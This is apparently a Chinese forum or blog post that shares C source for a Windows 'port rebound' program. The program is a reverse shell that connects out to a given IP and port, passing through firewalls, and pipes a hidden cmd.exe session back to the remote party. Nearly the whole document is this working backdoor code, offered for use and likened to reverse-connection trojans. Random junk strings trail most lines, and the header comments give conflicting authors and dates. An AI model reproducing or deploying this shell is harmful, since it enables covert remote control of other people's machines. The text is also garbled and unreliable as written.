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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  Of"  
qHuZcht  
/* ============================== e4!:c^?  
Rebound port in Windows NT <g1hxfKx5  
By wind,2006/7 i>D.!x  
===============================*/ qyF{f8pzq  
#include luo   
#include vd [}Gd  
]~aF2LJ_q  
#pragma comment(lib,"wsock32.lib") S<VSn}vn  
 1Md  
void OutputShell(); VtnRgdJ  
SOCKET sClient; `+o 2DA)#(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )Qe~ 8u@?  
;nodjbr,j  
void main(int argc,char **argv) tKuVQH~D  
{ N>XS=2tzN  
WSADATA stWsaData; $}) g?Q  
int nRet; P!H_1RwXKC  
SOCKADDR_IN stSaiClient,stSaiServer; *1v[kWa?  
Y"~gw~7OD  
if(argc != 3) ^lA=* jY(  
{ ~F4fFQ-yy  
printf("Useage:\n\rRebound DestIP DestPort\n"); E~]R2!9  
return; qAn!RkA  
} pi Z[Y 5OE  
OW3sS+y  
WSAStartup(MAKEWORD(2,2),&stWsaData); w2 a1mU/  
>4#)r8;dx  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y0x%sz 5  
5Ow[~p"l<  
stSaiClient.sin_family = AF_INET; `8AR_7i  
stSaiClient.sin_port = htons(0); hp#W 9@NR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8n'B6hi  
0w)^)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CDP U\ZG  
{ F P* lQRA  
printf("Bind Socket Failed!\n"); ~yH?=:>U  
return; U*22h` S  
} N+Y]st+  
P(+&OoY2  
stSaiServer.sin_family = AF_INET; ;_rF;9z9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0`X]o'RxS  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [H6hyG~  
v6>_ j L  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L3@82yPo!  
{ FFu9&8Y  
printf("Connect Error!"); d@5[B0eH  
return; W3MU1gl6k{  
} M luVx'  
OutputShell(); Tk5W'p|6f  
} a-=8xs'  
/ro=?QYb  
void OutputShell() Cj{1H([-  
{ ,n3a gkPO>  
char szBuff[1024]; L*&p !  
SECURITY_ATTRIBUTES stSecurityAttributes; G+X Sfr  
OSVERSIONINFO stOsversionInfo; n)^i/ nXb'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2QJ{a46}  
STARTUPINFO stStartupInfo; "|qqUKJZ  
char *szShell; |4B:<x   
PROCESS_INFORMATION stProcessInformation; j2QmxTa!  
unsigned long lBytesRead; KX'{[7}m'  
?u" 4@  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jl#%uU/sx  
`HZ;NRr  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q,93nhs "  
stSecurityAttributes.lpSecurityDescriptor = 0; LUM@#3&  
stSecurityAttributes.bInheritHandle = TRUE; -uMSe~  
`$W_R[  
#a'Ex=%rM  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G 8g<>d{j  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gm igsXQ  
19E 8'@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ykV 5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .J)I | '  
stStartupInfo.wShowWindow = SW_HIDE; "1 L$|  
stStartupInfo.hStdInput = hReadPipe; ?0v-qj+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; { g/0x,-Z  
$a ]_w.@  
GetVersionEx(&stOsversionInfo); }:us:%  
n1ly y0%u  
switch(stOsversionInfo.dwPlatformId) 18+)`M-5o  
{ 95A1:A^t  
case 1: NQ(1   
szShell = "command.com"; /OLFcxEWh  
break; BJM.iXU)[  
default: MvK !u  
szShell = "cmd.exe"; lDYyqG4  
break; 0 q} *S~  
} =5/9%P8j9  
K 1 a\b"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5ni~Q 9b  
n `&/ D  
send(sClient,szMsg,77,0); Ta(Y:*Ri  
while(1) QdL`|  
{ 1FlX'[vh  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ts\5uiB<%  
if(lBytesRead) >7I15U  
{ gy#/D& N[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); + +M$#Er&  
send(sClient,szBuff,lBytesRead,0); x=b7':nQ  
} g!lWu[d  
else H`1{_  
{ o4m\~as)Y  
lBytesRead=recv(sClient,szBuff,1024,0); %E#s\B,w  
if(lBytesRead<=0) break; ([SU:F!uW(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +jS|2d  
} WY?[,_4U  
} NdMb)l)m  
piPR=B+  
return; v|uAzM{73  
}
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